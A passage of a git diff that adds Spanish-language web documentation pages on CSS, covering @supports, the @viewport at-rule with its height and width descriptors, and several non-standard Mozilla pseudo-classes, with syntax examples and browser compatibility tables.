+(( -o-transform-style: preserve-3d ) or ( -webkit-transform-style: preserve-3d  )))</pre>
+
+<div class="note style-wrap">
+<p><strong>Nota</strong>: cuando se usan <code>and</code> y <code>or</code>, el paréntesis debe ser usado para definir el orden en el cual aplican. Si no, la condición es inválida provocando que se ignore todo el "at-rule" .</p>
+</div>
+
+<h3 id="Sintaxis_formal">Sintaxis formal</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Ejemplos">Ejemplos</h2>
+
+<h3 id="Prueba_soporta_de_una_propiedad_CSS_determinada">Prueba "soporta" de una propiedad CSS determinada</h3>
+
+<pre class="brush:css;">@supports (animation-name: test) {
+    … /* specific CSS applied when animations are supported unprefixed */
+    @keyframes { /* @supports being a CSS conditional group at-rule, it can includes other relevant at-rules */
+      …
+    }
+}
+</pre>
+
+<h3 id="Prueba_soporta_de_una_propiedad_CSS_determinada_o_de_una_versión_con_prefijo">Prueba "soporta" de una propiedad CSS determinada o de una versión con prefijo</h3>
+
+<pre class="brush:css;">@supports ( (perspective: 10px) or (-moz-perspective: 10px) or (-webkit-perspective: 10px) or
+            (-ms-perspective: 10px) or (-o-perspective: 10px) ) {
+    … /* specific CSS applied when 3D transforms, eventually prefixed, are supported */
+}
+</pre>
+
+<h3 id="Prueba_soporta_para_propiedades_customizadas">Prueba "soporta" para propiedades customizadas</h3>
+
+<pre class="brush:css;">@supports not ((text-align-last:justify) or (-moz-text-align-last:justify) ){
+    … /* specific CSS applied to simulate text-align-last:justify */
+}</pre>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Estado</th>
+   <th scope="col">Comentario</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{ SpecName('CSS3 Conditional', '#at-supports', '@supports') }}</td>
+   <td>{{ Spec2('CSS3 Conditional') }}</td>
+   <td>Initial definition.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">Compatibilidad con navegadores</h2>
+
+{{Compat("css.at-rules.supports")}}
+
+<h2 id="Ver_también">Ver también</h2>
+
+<ul>
+ <li>La clase CSSOM {{ domxref("CSSSupportsRule") }}, y el método  {{ domxref("CSS.supports") }} que permite chequear via JavaScript.</li>
+</ul>
diff --git a/files/es/web/css/@viewport/height/index.html b/files/es/web/css/@viewport/height/index.html
new file mode 100644
index 0000000000..8389bdb95e
--- /dev/null
+++ b/files/es/web/css/@viewport/height/index.html
@@ -0,0 +1,125 @@
+---
+title: height
+slug: Web/CSS/@viewport/height
+tags:
+  - Descriptor CSS
+  - Referencia
+translation_of: Web/CSS/@viewport
+---
+<div>{{CSSRef}}</div>
+
+<h2 id="Resumen">Resumen</h2>
+
+<p>El descriptor CSS <code><strong>height</strong></code> es un descriptor de forma reducida para establecer {{cssxref("@viewport/min-height", "min-height")}} y {{cssxref("@viewport/max-height", "max-height")}} en el viewport. Definiendo un valor de longitud para viewport se establecerán los dos, altura mínima y altura máxima, con el valor definido.</p>
+
+<p>Si se definen dos valores de viewport, el primero corresponderá a la altura mínima, y el segundo, a la altura máxima.</p>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Sintaxis">Sintaxis</h2>
+
+<pre class="brush: css">/* Un valor */
+height: auto;
+height: 320px;
+height: 15em;
+
+/* Dos valores */
+height: 320px 200px;
+</pre>
+
+<h3 id="Valores">Valores</h3>
+
+<dl>
+ <dt><code>auto</code></dt>
+ <dd>El valor a usar es calculado con los valores de otros descriptores CSS.</dd>
+ <dt><code>&lt;length&gt;</code></dt>
+ <dd>Un valor {{cssxref("&lt;length&gt;")}} de longitud absoluta o relativa no negativa.</dd>
+ <dt><code>&lt;percentage&gt;</code></dt>
+ <dd>Un valor {{cssxref("&lt;percentage&gt;")}} del porcentaje relativo a la anchura o altura del viewport inicial, con factor de zoom de 1.0, para longitudes verticales y horizontales respectivamente. No puede ser negativo.</dd>
+</dl>
+
+<h3 id="Sintaxis_formal">Sintaxis formal</h3>
+
+<pre class="syntaxbox">{{csssyntax}}
+</pre>
+
+<h2 id="Ejemplo">Ejemplo</h2>
+
+<pre class="brush: css">@viewport {
+  height: 500px;
+}</pre>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Estado</th>
+   <th scope="col">Comentarios</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS3 Device', '#descdef-viewport-height', '"height" descriptor')}}</td>
+   <td>{{Spec2('CSS3 Device')}}</td>
+   <td>Definición inicial</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_de_navegadores">Compatibilidad de navegadores</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Característica</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Soporte básico</td>
+   <td>29 (usando una bandera)</td>
+   <td>{{CompatNo}}</td>
+   <td>10 {{property_prefix("-ms")}}</td>
+   <td>11.10<br>
+    Removido en 15<br>
+    Reintroducido con una bandera en 16</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Característica</th>
+   <th>Android</th>
+   <th>Chrome for Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Soporte básico</td>
+   <td>4.4</td>
+   <td>29</td>
+   <td>{{CompatNo}}</td>
+   <td>10{{property_prefix("-ms")}}</td>
+   <td>11.10<br>
+    Removido en 15<br>
+    Reintroducido con una bandera en 16</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
diff --git a/files/es/web/css/@viewport/index.html b/files/es/web/css/@viewport/index.html
new file mode 100644
index 0000000000..f03aaee77b
--- /dev/null
+++ b/files/es/web/css/@viewport/index.html
@@ -0,0 +1,159 @@
+---
+title: '@viewport'
+slug: Web/CSS/@viewport
+tags:
+  - Adaptation
+  - At-rule
+  - CSS
+  - Device
+  - NeedsContent
+  - NeedsTranslation
+  - Reference
+  - TopicStub
+translation_of: Web/CSS/@viewport
+---
+<p>{{CSSRef}}</p>
+
+<h2 id="Summary">Summary</h2>
+
+<p>The<strong> <code>@viewport</code></strong> <a href="/en/CSS" title="CSS">CSS</a> <a href="/en/CSS/At-rule" title="en/CSS/At-rule">at-rule</a> contains a set of nested descriptors in a CSS block that is delimited by curly braces. These descriptors control viewport settings, primarily on mobile devices.</p>
+
+<h2 id="Syntax">Syntax</h2>
+
+<p>A <em>zoom factor</em> of <code>1.0</code> or <code>100%</code> corresponds to no zooming. Larger values zoom in. Smaller values zoom out.</p>
+
+<h3 id="Descriptors">Descriptors</h3>
+
+<p>Browsers are supposed to ignore unrecognized descriptors.</p>
+
+<dl>
+ <dt><a href="/en-US/docs/Web/CSS/@viewport/min-width"><code>min-width</code></a></dt>
+ <dd>Used in the determination of the width of the viewport when the document is first displayed.</dd>
+ <dt><a href="/en-US/docs/Web/CSS/@viewport/max-width"><code>max-width</code></a></dt>
+ <dd>Used in the determination of the width of the viewport when the document is first displayed.</dd>
+ <dt><a href="/en-US/docs/Web/CSS/@viewport/width"><code>width</code></a></dt>
+ <dd>A shorthand descriptor for setting both <code>min-width</code> and <code>max-width</code></dd>
+ <dt><a href="/en-US/docs/Web/CSS/@viewport/min-height"><code>min-height</code></a></dt>
+ <dd>Used in the determination of the height of the viewport when the document is first displayed.</dd>
+ <dt><a href="/en-US/docs/Web/CSS/@viewport/max-height"><code>max-height</code></a></dt>
+ <dd>Used in the determination of the height of the viewport when the document is first displayed.</dd>
+ <dt><a href="/en-US/docs/Web/CSS/@viewport/height"><code>height</code></a></dt>
+ <dd>A shorthand descriptor for setting both <code>min-height</code> and <code>max-height</code></dd>
+ <dt><a href="/en-US/docs/Web/CSS/@viewport/zoom"><code>zoom</code></a></dt>
+ <dd>Sets the initial zoom factor.</dd>
+ <dt><a href="/en-US/docs/Web/CSS/@viewport/min-zoom"><code>min-zoom</code></a></dt>
+ <dd>Sets the minimum zoom factor.</dd>
+ <dt><a href="/en-US/docs/Web/CSS/@viewport/max-zoom"><code>max-zoom</code></a></dt>
+ <dd>Sets the maximum zoom factor.</dd>
+ <dt><a href="/en-US/docs/Web/CSS/@viewport/user-zoom"><code>user-zoom</code></a></dt>
+ <dd>Controls whether or not the user should be able to change the zoom factor.</dd>
+ <dt><a href="/en-US/docs/Web/CSS/@viewport/orientation"><code>orientation</code></a></dt>
+ <dd>Controls the document's orientation.</dd>
+</dl>
+
+<h3 id="Formal_syntax">Formal syntax</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Examples">Examples</h2>
+
+<pre class="eval" style="font-size: 14px;">@viewport {
+  min-width: 640px;
+  max-width: 800px;
+}
+@viewport {
+  zoom: 0.75;
+  min-zoom: 0.5;
+  max-zoom: 0.9;
+}
+@viewport {
+  orientation: landscape;
+}</pre>
+
+<h2 id="Specifications" name="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS3 Device', '#the-atviewport-rule', '@viewport')}}</td>
+   <td>{{Spec2('CSS3 Device')}}</td>
+   <td>Initial definition</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>29 (behind a flag) [4]</td>
+   <td>{{CompatNo()}} [2]</td>
+   <td>10 {{property_prefix("-ms")}}</td>
+   <td>11.10<br>
+    Removed in 15<br>
+    Reintroduced behind a flag in 16</td>
+   <td>{{CompatNo}} [3]</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Chrome for Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>4.4</td>
+   <td>29</td>
+   <td>{{CompatNo}} [2]</td>
+   <td>10{{property_prefix("-ms")}}[1]</td>
+   <td>11.10<br>
+    Removed in 15<br>
+    Reintroduced behind a flag in 16</td>
+   <td>{{CompatNo}} [3]</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p>[1] There is a bug in IE Mobile 10 on older versions of Windows Phone 8, where <code>device-width</code>, when used within <code>@-ms-viewport</code>, evaluates to the screen width in physical pixels rather than normalized CSS pixels, which is wrong according to the specification. However, when used within a <code>viewport</code> {{HTMLElement("meta")}} tag, <code>device-width</code> evaluates correctly. According to Microsoft, this bug was fixed in <a href="http://blogs.windows.com/windows_phone/b/wpdev/archive/2013/10/14/introducing-windows-phone-preview-for-developers.aspx">Windows Phone 8 Update 3 (a.k.a. GDR3)</a>, although there are some reports that the <a href="http://www.nokia.com/us-en/windows-phone-black-update/">Lumia Black</a> GDR3 update did not fix the bug (at least on the Lumia 920). For more details and a workaround, <a href="http://timkadlec.com/2013/01/windows-phone-8-and-device-width/">see Tim Kadlec's blog post "Windows Phone 8 and Device-Width"</a>.</p>
+
+<p>[2]: See {{bug(747754, 'summary')}}</p>
+
+<p>[3]: See {{webkitbug(95959)}}</p>
+<p>[4]: See <a href="https://bugs.chromium.org/p/chromium/issues/detail?id=235457">Chromium issue #235457: Enable @viewport on all platforms</a></p>
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>{{HTMLElement("meta")}}, specifically <code>&lt;meta name="viewport"&gt;</code></li>
+ <li><a href="/en-US/docs/Mobile/Viewport_meta_tag">Using the viewport meta tag to control layout on mobile browsers</a></li>
+</ul>
diff --git a/files/es/web/css/@viewport/width/index.html b/files/es/web/css/@viewport/width/index.html
new file mode 100644
index 0000000000..8ff87e0443
--- /dev/null
+++ b/files/es/web/css/@viewport/width/index.html
@@ -0,0 +1,122 @@
+---
+title: width
+slug: Web/CSS/@viewport/width
+translation_of: Web/CSS/@viewport
+---
+<div>{{CSSRef}}</div>
+
+<h2 id="Resumen">Resumen</h2>
+
+<p>El descriptor CSS <strong>width</strong> es una forma reducida para establecer {{cssxref("@viewport/min-width", "min-width")}} y {{cssxref("@viewport/max-width", "max-width")}} en el viewport. Definiendo un valor de longitud para viewport se establecerán los dos, anchura mínima y anchura máxima, con el valor definido.</p>
+
+<p>Si se definen dos valores de viewport, el primero corresponderá a la anchura mínima, y el segundo, a la anchura máxima.</p>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Syntax" name="Syntax">Sintaxis</h2>
+
+<pre class="brush: css">/* Ejemplo con un valor de viewport: */
+@viewport {
+    width: 320px;
+}
+
+/* Ejemplo con dos valores de viewport: */
+@viewport {
+    width: 320px, 120px;
+}
+
+</pre>
+
+<p> </p>
+
+<h3 id="Values" name="Values">Valores</h3>
+
+<dl>
+ <dt><code>auto</code></dt>
+ <dd>El valor a usar es calculado con los valores de otros descriptores CSS.</dd>
+ <dt><code>&lt;length&gt;</code></dt>
+ <dd>Un valor {{cssxref("&lt;length&gt;")}} de longitud absoluta o relativa no negativa.</dd>
+ <dt><code>&lt;percentage&gt;</code></dt>
+ <dd>Un valor {{cssxref("&lt;percentage&gt;")}} del porcentaje relativo a la anchura o altura del viewport inicial, con factor de zoom de 1.0, para longitudes verticales y horizontales respectivamente. No puede ser negativo.</dd>
+</dl>
+
+<h3 id="Sintaxis_formal">Sintaxis formal</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Specifications" name="Specifications">Especificaciones</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Estado</th>
+   <th scope="col">Comentarios</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS3 Device', '#descdef-viewport-min-width', '"min-width" descriptor')}}</td>
+   <td>{{Spec2('CSS3 Device')}}</td>
+   <td>Definición inicial</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_de_navegadores">Compatibilidad de navegadores</h2>
+
+<p>{{ CompatibilityTable() }}</p>
+
+<div id="compat-desktop">
+<table class="compat-table" style="height: 93px; width: 950px;">
+ <tbody>
+  <tr>
+   <th>Característica</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Soporte básico</td>
+   <td>29 (usando una bandera)</td>
+   <td>{{CompatNo}}</td>
+   <td>10 {{property_prefix("-ms")}}</td>
+   <td>11.10<br>
+    Removido en 15<br>
+    Reintroducido con una bandera en 16</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table" style="height: 93px; width: 948px;">
+ <tbody>
+  <tr>
+   <th>Característica</th>
+   <th>Android</th>
+   <th>Chrome for Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Soporte básico</td>
+   <td>4.4</td>
+   <td>29</td>
+   <td>{{CompatNo}}</td>
+   <td>10{{property_prefix("-ms")}}</td>
+   <td>11.10<br>
+    Removido en 15<br>
+    Reintroducido con una bandera en 16</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p> </p>
diff --git a/files/es/web/css/_colon_-moz-broken/index.html b/files/es/web/css/_colon_-moz-broken/index.html
new file mode 100644
index 0000000000..a419ae3cbc
--- /dev/null
+++ b/files/es/web/css/_colon_-moz-broken/index.html
@@ -0,0 +1,25 @@
+---
+title: ':-moz-broken'
+slug: 'Web/CSS/:-moz-broken'
+tags:
+  - CSS
+  - NeedsCompatTable
+  - NeedsExample
+  - No estandar
+  - Referencia CSS
+translation_of: 'Web/CSS/:-moz-broken'
+---
+<div>{{Non-standard_header}}{{CSSRef}}{{gecko_minversion_header("1.9")}}</div>
+
+<h2 id="Resumen">Resumen</h2>
+
+<p>La <a href="/es/docs/Web/CSS/Pseudo-classes">pseudo-clase</a> <a href="/es/docs/Web/CSS">CSS</a>  <code>:-moz-broken</code>  selecciona elementos con enlaces a imágenes no válidos</p>
+
+<p>Este selector está pensado sobre todo para desarrolladores de temas.</p>
+
+<h2 id="Ver_además">Ver además</h2>
+
+<ul>
+ <li>{{bug("11011")}}</li>
+ <li>{{cssxref("-moz-alt-content")}}</li>
+</ul>
diff --git a/files/es/web/css/_colon_-moz-drag-over/index.html b/files/es/web/css/_colon_-moz-drag-over/index.html
new file mode 100644
index 0000000000..5e18bdd1fa
--- /dev/null
+++ b/files/es/web/css/_colon_-moz-drag-over/index.html
@@ -0,0 +1,42 @@
+---
+title: ':-moz-drag-over'
+slug: 'Web/CSS/:-moz-drag-over'
+tags:
+  - CSS
+  - NeedsCompatTable
+  - No estandar
+  - Referencia CSS
+translation_of: 'Web/CSS/:-moz-drag-over'
+---
+<div>{{Non-standard_header}}{{CSSRef}}</div>
+
+<h2 id="Resumen">Resumen</h2>
+
+<p>La  <a href="/es/docs/Web/CSS/Pseudo-classes">pseudo-clase</a> <a href="/es/docs/Web/CSS">CSS</a> <code>:-moz-drag-over</code>  se usa para editar un elemento cuando se produce un evento de arrasttar (drag) sobre él.</p>
+
+<h2 id="Síntaxis">Síntaxis</h2>
+
+<pre class="syntaxbox"><var>element</var>:-moz-drag-over { propiedades del estilo }
+</pre>
+
+<h2 id="Ejemplo">Ejemplo</h2>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush:css">td:-moz-drag-over {
+  color: red;
+}
+</pre>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush:html">&lt;table border="1"&gt;
+  &lt;tr&gt;
+    &lt;td width="100px" height="100px"&gt;Arrastra aquí&lt;/td&gt;
+  &lt;/tr&gt;
+&lt;/table&gt;
+</pre>
+
+<h3 id="Resultado">Resultado</h3>
+
+<p>{{EmbedLiveSample("Example")}}</p>
diff --git a/files/es/web/css/_colon_-moz-first-node/index.html b/files/es/web/css/_colon_-moz-first-node/index.html
new file mode 100644
index 0000000000..6bd7cb3460
--- /dev/null
+++ b/files/es/web/css/_colon_-moz-first-node/index.html
@@ -0,0 +1,48 @@
+---
+title: ':-moz-first-node'
+slug: 'Web/CSS/:-moz-first-node'
+tags:
+  - CSS
+  - NeedsCompatTable
+  - No estandar
+  - Referencia CSS
+translation_of: 'Web/CSS/:-moz-first-node'
+---
+<div>{{Non-standard_header}}{{CSSRef}}</div>
+
+<h2 id="Resumen">Resumen</h2>
+
+<p>La <a href="/es/docs/Web/CSS/Pseudo-classes">pseudo-clase</a> <a href="/es/docs/Web/CSS">CSS</a> <code>:-moz-first-node</code> representa cualquier elemento que sea el primer nodo hijo de algún otro elemento. Se diferencia de {{Cssxref(":first-child")}} en que  no selecciona al primer hijo si tiene texto (que no sea espacios en blanco) detrás de él.</p>
+
+<p class="note">Cualquier espacion en blanco al principio del elemento se ignora a la hora de determina cual elemento es <code>:-moz-first-node</code>.</p>
+
+<h2 id="Síntaxis">Síntaxis</h2>
+
+<pre class="syntaxbox"><var>span</var>:-moz-first-node { <em>propiedades del estilo</em> }
+</pre>
+
+<h2 id="Ejemplo">Ejemplo</h2>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush:css">span:-moz-first-node {
+  background-color: lime;
+}
+</pre>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush:html">&lt;div&gt;
+  &lt;span&gt;:-moz-first-node&lt;/span&gt;
+  &lt;span&gt;:-moz-last-node&lt;/span&gt;
+&lt;/div&gt;
+</pre>
+
+<p>{{EmbedLiveSample("Example", "220", "20")}}</p>
+
+<h2 id="Ver_además">Ver además</h2>
+
+<ul>
+ <li>{{cssxref(":-moz-last-node")}}</li>
+ <li>{{cssxref(":first-child")}}</li>
+</ul>
diff --git a/files/es/web/css/_colon_-moz-focusring/index.html b/files/es/web/css/_colon_-moz-focusring/index.html
new file mode 100644
index 0000000000..95ef9db9c4
--- /dev/null
+++ b/files/es/web/css/_colon_-moz-focusring/index.html
@@ -0,0 +1,90 @@
+---
+title: ':-moz-focusring'
+slug: 'Web/CSS/:-moz-focusring'
+tags:
+  - CSS
+  - NeedsLiveSample
+  - No estándar(2)
+  - Referencia CSS
+translation_of: 'Web/CSS/:-moz-focusring'
+---
+<div>{{Non-standard_header}}{{CSSRef}}</div>
+
+<h2 id="Resumen">Resumen</h2>
+
+<p>La  <a href="/es/docs/Web/CSS/Pseudo-classes">pseudo-clase</a> <a href="/es/docs/Web/CSS">CSS</a>  <code>:-moz-focusring</code> es similar a la pseudo-clase {{cssxref(":focus")}} , pero sólo selecciona un elemento si éste tiene el foco y el agente de usuario (user-agent) tiene habilitado el mostrar el anillo (borde) alrededor del elemento que actualmente tiene el foco. Si <code>:-moz-focusring</code> selecciona un elemento entonces  <code>:focus</code> también lo selecciona pero esto no se da igual al revés, depende, como se ha dicho anteriormente, de la configuración del agente de usuario. Que un agente de usuario tenga el dibujo del anillo de foco habilitado depende de cosas como la configuración del sistema operativo así que el comportamiento preciso de esta propiedad puede variar de una plataforma a otra dependiendiendo de la configuración de la misma o de la configuración del usuario.</p>
+
+<h2 id="Síntaxis">Síntaxis</h2>
+
+<pre class="syntaxbox">:-moz-focusring</pre>
+
+<h2 id="Ejemplo">Ejemplo</h2>
+
+<p>Para especificar la apariencia de un elemento cuando recibe el foco se puede usar este psuedo-selector de la siguiente manera:</p>
+
+<pre class="brush: css">mybutton:-moz-focusring {
+  outline: 2px dotted;
+}
+</pre>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<p>Esta propiedad todavía no está definida en ninguna especificación, aunque fue <a href="https://lists.w3.org/Archives/Public/www-style/2015Sep/0226.html">debatida en el grupo de trabajo</a> y se <a href="https://lists.w3.org/Archives/Public/www-style/2015Oct/0012.html">decidió añadirla a los selectores 4 o 5</a>.</p>
+
+<h2 id="Compatibilidad_con_los_distintos_navegadores">Compatibilidad con los distintos navegadores</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Característica</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Soporte básico</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatGeckoDesktop(2)}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Característica</th>
+   <th>Android</th>
+   <th>Chrome for Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Soporte básico</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Ver_además">Ver además</h2>
+
+<ul>
+ <li>{{bug("418521")}}</li>
+</ul>
diff --git a/files/es/web/css/_colon_-moz-full-screen-ancestor/index.html b/files/es/web/css/_colon_-moz-full-screen-ancestor/index.html
new file mode 100644
index 0000000000..3163a3e07e
--- /dev/null
+++ b/files/es/web/css/_colon_-moz-full-screen-ancestor/index.html
@@ -0,0 +1,83 @@
+---
+title: ':-moz-full-screen-ancestor'
+slug: 'Web/CSS/:-moz-full-screen-ancestor'
+tags:
+  - CSS
+  - NeedsExample
+  - No estandar
+  - Pseudo clase
+  - Referencia CSS
+translation_of: 'Archive/Web/CSS/:-moz-full-screen-ancestor'
+---
+<div>{{CSSRef}}{{non-standard_header}}</div>
+
+<h2 id="Resumen">Resumen</h2>
+
+<p>La  <a href="/es/docs/Web/CSS/Pseudo-classes">pseudo-clase</a> <a href="/es/docs/Web/CSS">CSS</a> <code>:-moz-full-screen-ancestor</code> se aplica a todos los ancestros de el elemento full-screen(pantalla completa) exceptuando los frames (marcos) que pueda contener en los documentos padre, que son los elementos full-screen(pantalla completa) es sus propios documentos. Sin embargo, sí que se aplica la clase a los antecesores de esos elementos.</p>
+
+<h2 id="Ejemplos">Ejemplos</h2>
+
+<p>Necesita un ejemplo</p>
+
+<h2 id="Compatibilidad_con_distintos_navegadores">Compatibilidad con distintos navegadores</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Característica</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Soporte básico</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatGeckoDesktop("10.0")}}{{property_prefix("-moz")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Característica</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Soporte básico</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatGeckoMobile("10.0")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Ver_además.">Ver además.</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/API/Fullscreen_API">Usando el modo pantalla completa (full-screen)</a></li>
+ <li>{{domxref("element.mozRequestFullScreen()")}}</li>
+ <li>{{domxref("document.mozCancelFullScreen()")}}</li>
+ <li>{{domxref("document.mozFullScreen")}}</li>
+ <li>{{domxref("document.mozFullScreenElement")}}</li>
+ <li>{{domxref("document.mozFullScreenEnabled")}}</li>
+ <li>{{HTMLAttrXRef("mozallowfullscreen", "iframe")}}</li>
+ <li>{{cssxref(":-moz-full-screen")}}</li>
+</ul>
diff --git a/files/es/web/css/_colon_-moz-handler-blocked/index.html b/files/es/web/css/_colon_-moz-handler-blocked/index.html
new file mode 100644
index 0000000000..3d4569b68d
--- /dev/null
+++ b/files/es/web/css/_colon_-moz-handler-blocked/index.html
@@ -0,0 +1,23 @@
+---
+title: ':-moz-handler-blocked'
+slug: 'Web/CSS/:-moz-handler-blocked'
+tags:
+  - CSS
+  - No estandar
+  - Referencia CSS
+translation_of: 'Web/CSS/:-moz-handler-blocked'
+---
+<p>{{Non-standard_header}}{{ CSSRef() }}{{ gecko_minversion_header("1.9.1") }}</p>
+
+<h2 id="Summary" name="Summary">Resumen</h2>
+
+<p><code>:-moz-handler-blocked</code> selecciona elementos que no pueden ser mostrado por haber sido sus manejadores bloqueados.</p>
+
+<p>Es útil principalmente para los desarrolladores de temas.</p>
+
+<h2 id="Ver_además">Ver además</h2>
+
+<ul>
+ <li>{{ cssxref(":-moz-handler-crashed") }}</li>
+ <li>{{ cssxref(":-moz-handler-disabled") }}</li>
+</ul>
diff --git a/files/es/web/css/_colon_-moz-handler-crashed/index.html b/files/es/web/css/_colon_-moz-handler-crashed/index.html
new file mode 100644
index 0000000000..406cd7c72d
--- /dev/null
+++ b/files/es/web/css/_colon_-moz-handler-crashed/index.html
@@ -0,0 +1,23 @@
+---
+title: ':-moz-handler-crashed'
+slug: 'Web/CSS/:-moz-handler-crashed'
+tags:
+  - CSS
+  - No estandar
+  - Referencia CSS
+translation_of: 'Web/CSS/:-moz-handler-crashed'
+---
+<p>{{Non-standard_header}}{{ CSSRef() }}{{ gecko_minversion_header("2.0") }}</p>
+
+<h2 id="Summary" name="Summary">Resumen</h2>
+
+<p><code>:-moz-handler-crashed</code> selecciona elementos que no pueden ser mostrados porque el plugin para dibujarlos ha dejado de funcionar.</p>
+
+<p>Es útil principalmente para  los desarrolladores de temas.</p>
+
+<h2 id="Ver_además">Ver además</h2>
+
+<ul>
+ <li>{{ cssxref(":-moz-handler-blocked") }}</li>
+ <li>{{ cssxref(":-moz-handler-disabled") }}</li>
+</ul>
diff --git a/files/es/web/css/_colon_-moz-handler-disabled/index.html b/files/es/web/css/_colon_-moz-handler-disabled/index.html
new file mode 100644
